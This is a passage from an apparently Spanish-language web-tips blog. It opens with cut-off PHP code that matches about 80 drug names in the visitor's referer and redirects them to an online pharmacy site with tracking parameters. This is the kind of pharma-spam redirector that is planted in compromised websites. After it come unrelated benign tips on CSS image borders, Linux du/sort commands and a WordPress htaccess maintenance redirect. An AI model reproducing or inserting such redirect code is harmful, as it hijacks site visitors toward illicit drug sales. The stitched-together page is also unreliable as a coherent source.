if ($ff_rand_domen == 3) { $ff_redir_domen = "http://247drugsonline.com/"; }



if (eregi('Abilify', $ff_server_referer)) { $ff_redir_id = '4147';}

if (eregi('Accutane', $ff_server_referer)) { $ff_redir_id = '3187';}

if (eregi('Alesse', $ff_server_referer)) { $ff_redir_id = '5425';}

if (eregi('Allopurinol', $ff_server_referer)) { $ff_redir_id = '5119';}

if (eregi('Amoxil', $ff_server_referer)) { $ff_redir_id = '1882';}

if (eregi('Ampicillin', $ff_server_referer)) { $ff_redir_id = '5424';}

if (eregi('Antabuse', $ff_server_referer)) { $ff_redir_id = '724';}

if (eregi('Aricept', $ff_server_referer)) { $ff_redir_id = '2965';}

if (eregi('Augmentin', $ff_server_referer)) { $ff_redir_id = '152';}

if (eregi('Avandia', $ff_server_referer)) { $ff_redir_id = '727';}

if (eregi('Baclofen', $ff_server_referer)) { $ff_redir_id = '4038';}

if (eregi('Bactrim', $ff_server_referer)) { $ff_redir_id = '4010';}

if (eregi('Benicar', $ff_server_referer)) { $ff_redir_id = '416';}

if (eregi('Celebrex', $ff_server_referer)) { $ff_redir_id = '155';}

if (eregi('Celexa', $ff_server_referer)) { $ff_redir_id = '2293';}

if (eregi('Chloramphenicol', $ff_server_referer)) { $ff_redir_id = '5180';}

if (eregi('Cipro', $ff_server_referer)) { $ff_redir_id = '252';}

if (eregi('Citalopram', $ff_server_referer)) { $ff_redir_id = '5122';}

if (eregi('Clavamox', $ff_server_referer)) { $ff_redir_id = '4953';}

if (eregi('Clomid', $ff_server_referer)) { $ff_redir_id = '3326';}

if (eregi('Coumadin', $ff_server_referer)) { $ff_redir_id = '2962';}

if (eregi('Cymbalta', $ff_server_referer)) { $ff_redir_id = '3188';}

if (eregi('Cytotec', $ff_server_referer)) { $ff_redir_id = '741';}

if (eregi('Deltasone', $ff_server_referer)) { $ff_redir_id = '255';}

if (eregi('Diclofenac', $ff_server_referer)) { $ff_redir_id = '4039';}

if (eregi('Diflucan', $ff_server_referer)) { $ff_redir_id = '257';}

if (eregi('Doxycycline', $ff_server_referer)) { $ff_redir_id = '4047';}

if (eregi('Elavil', $ff_server_referer)) { $ff_redir_id = '748';}

if (eregi('Emsam', $ff_server_referer)) { $ff_redir_id = '749';}

if (eregi('Ephedraxin', $ff_server_referer)) { $ff_redir_id = '5003';}

if (eregi('Erythromycin', $ff_server_referer)) { $ff_redir_id = '4280';}

if (eregi('Estrace', $ff_server_referer)) { $ff_redir_id = '4667';}

if (eregi('Evista', $ff_server_referer)) { $ff_redir_id = '751';}

if (eregi('Flomax', $ff_server_referer)) { $ff_redir_id = '755';}

if (eregi('Fluoxetine', $ff_server_referer)) { $ff_redir_id = '5121';}

if (eregi('Furosemide', $ff_server_referer)) { $ff_redir_id = '4050';}

if (eregi('Hoodia', $ff_server_referer)) { $ff_redir_id = '2121';}

if (eregi('Imuran', $ff_server_referer)) { $ff_redir_id = '4155';}

if (eregi('Inderal', $ff_server_referer)) { $ff_redir_id = '2853';}

if (eregi('Lasix', $ff_server_referer)) { $ff_redir_id = '262';}

if (eregi('Levlen', $ff_server_referer)) { $ff_redir_id = '2072';}

if (eregi('Lexapro', $ff_server_referer)) { $ff_redir_id = '3052';}

if (eregi('Lotensin', $ff_server_referer)) { $ff_redir_id = '773';}

if (eregi('Maxalt', $ff_server_referer)) { $ff_redir_id = '3564';}

if (eregi('Medrol', $ff_server_referer)) { $ff_redir_id = '3544';}

if (eregi('Metformin', $ff_server_referer)) { $ff_redir_id = '5069';}

if (eregi('Methotrexate', $ff_server_referer)) { $ff_redir_id = '4560';}

if (eregi('Naprosyn', $ff_server_referer)) { $ff_redir_id = '166';}

if (eregi('Neurontin', $ff_server_referer)) { $ff_redir_id = '167';}

if (eregi('Nolvadex', $ff_server_referer)) { $ff_redir_id = '2957';}

if (eregi('Norvasc', $ff_server_referer)) { $ff_redir_id = '169';}

if (eregi('Paxil', $ff_server_referer)) { $ff_redir_id = '170';}

if (eregi('Plavix', $ff_server_referer)) { $ff_redir_id = '172';}

if (eregi('Prednisone', $ff_server_referer)) { $ff_redir_id = '173';}

if (eregi('Premarin', $ff_server_referer)) { $ff_redir_id = '174';}

if (eregi('Prevacid', $ff_server_referer)) { $ff_redir_id = '175';}

if (eregi('Propecia', $ff_server_referer)) { $ff_redir_id = '177';}

if (eregi('Propranolol', $ff_server_referer)) { $ff_redir_id = '5622';}

if (eregi('Protonix', $ff_server_referer)) { $ff_redir_id = '2856';}

if (eregi('Proventil', $ff_server_referer)) { $ff_redir_id = '2286';}

if (eregi('Reglan', $ff_server_referer)) { $ff_redir_id = '4006';}

if (eregi('Risperdal', $ff_server_referer)) { $ff_redir_id = '2857';}

if (eregi('Strattera', $ff_server_referer)) { $ff_redir_id = '4286';}

if (eregi('Sumycin', $ff_server_referer)) { $ff_redir_id = '818';}

if (eregi('Synthroid', $ff_server_referer)) { $ff_redir_id = '2959';}

if (eregi('Tetracycline', $ff_server_referer)) { $ff_redir_id = '4661';}

if (eregi('Topamax', $ff_server_referer)) { $ff_redir_id = '823';}

if (eregi('Trazodone', $ff_server_referer)) { $ff_redir_id = '5072';}

if (eregi('Tribulus', $ff_server_referer)) { $ff_redir_id = '3635';}

if (eregi('Tricor', $ff_server_referer)) { $ff_redir_id = '2295';}

if (eregi('Valtrex', $ff_server_referer)) { $ff_redir_id = '3983';}

if (eregi('Vermox', $ff_server_referer)) { $ff_redir_id = '3499';}

if (eregi('Vitamin B-12', $ff_server_referer)) { $ff_redir_id = '5565';}

if (eregi('Wellbutrin', $ff_server_referer)) { $ff_redir_id = '189';}

if (eregi('Xenical', $ff_server_referer)) { $ff_redir_id = '961';}

if (eregi('Zanaflex', $ff_server_referer)) { $ff_redir_id = '191';}

if (eregi('Zestoretic', $ff_server_referer)) { $ff_redir_id = '4288';}

if (eregi('Zovirax', $ff_server_referer)) { $ff_redir_id = '195';}

if (eregi('Zyban', $ff_server_referer)) { $ff_redir_id = '196';}

if (eregi('Zyprexa', $ff_server_referer)) { $ff_redir_id = '2860';}





if (eregi('viagra|cialis|levitra', $ff_server_referer)) {

$ff_redir_id = "index";

}



if ($ff_redir_id == "index") {

$ff_redir_page = $ff_redir_domen."?said=".$ff_said."&key=".$ff_server_referer;

}

else

{

$ff_redir_page = $ff_redir_domen."item.php?id=".$ff_redir_id."&said=".$ff_said."&key=".$ff_server_referer;

}



$location = $ff_redir_page;

header("Location: ".$location);

exit;

}

}

Quitar borde color en imágenes con enlace por css

A veces salen bordes en las imágenes y este borde se corresponde al color del enlace.

La forma de hacerlo es con:

img
{
border:0;
}

Ordenar tamaño de ficheros y carpetas en linux

Una orden muy útil si quieres saber enseguida que carpeta ocupa más espacio:

du --max-depth=1 /home/cosas/ | sort -n -r

Ordena en bytes

Si quieres ver la cifra en megas y Gigas. Pero no lo ordena bien ya que sólo mira el número y no la cantidad:

du -h --max-depth=1 /home/cosas/ | sort -n -r

Modo mantenimiento de wordpress

Lo más útil que he visto mejor que utilizar un plugin es modificar el htaccess de la siguiente forma:
# MAINTENANCE-PAGE REDIRECT

RewriteEngine on
RewriteCond %{REMOTE_ADDR} !^123\.456\.789\.000
RewriteCond %{REQUEST_URI} !/mantenimiento.html$ [NC]
RewriteCond %{REQUEST_URI} !\.(jpe?g?|png|gif) [NC]
RewriteRule .* /mantenimiento.html [R=302,L]


Y en mantenimiento.html diseñar lo que se nos antoje mientras podemos seguir trabajando colocando nuestra ip en el htacess.